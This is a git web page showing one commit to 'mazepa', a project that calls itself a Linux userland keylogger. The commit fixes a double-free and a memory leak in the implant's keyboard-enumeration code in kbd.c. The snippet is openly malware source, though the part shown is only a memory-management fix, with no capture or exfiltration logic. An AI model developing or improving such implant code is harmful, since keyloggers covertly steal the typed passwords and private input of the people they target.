mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
| commit 18b79590774d0d278613539853a2d55d0ccf36aa
parent 43f06e53082b3ece4cad85fb0062b57a4a5ffdbc Author: djnn <[email protected]> Date: Sun, 18 Jan 2026 15:52:22 +0900 fix(implant): double-free + memory leak Diffstat:
|
| 1 file changed, 6 insertions(+), 1 deletion(-) |
diff --git a/mazepa-implant/sources/kbd.c b/mazepa-implant/sources/kbd.c @@ -98,6 +98,7 @@ uint8_t fetch_available_keyboards(implant_t *instance) { DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno)); #endif + free(kbd); continue; } @@ -114,6 +115,10 @@ uint8_t fetch_available_keyboards(implant_t *instance) { TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices); } - array_free((int8_t **)char_devices); + for (int i = 0; i < possible_paths; i++) { + free(char_devices[i]); + } + free(char_devices); + return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL; } |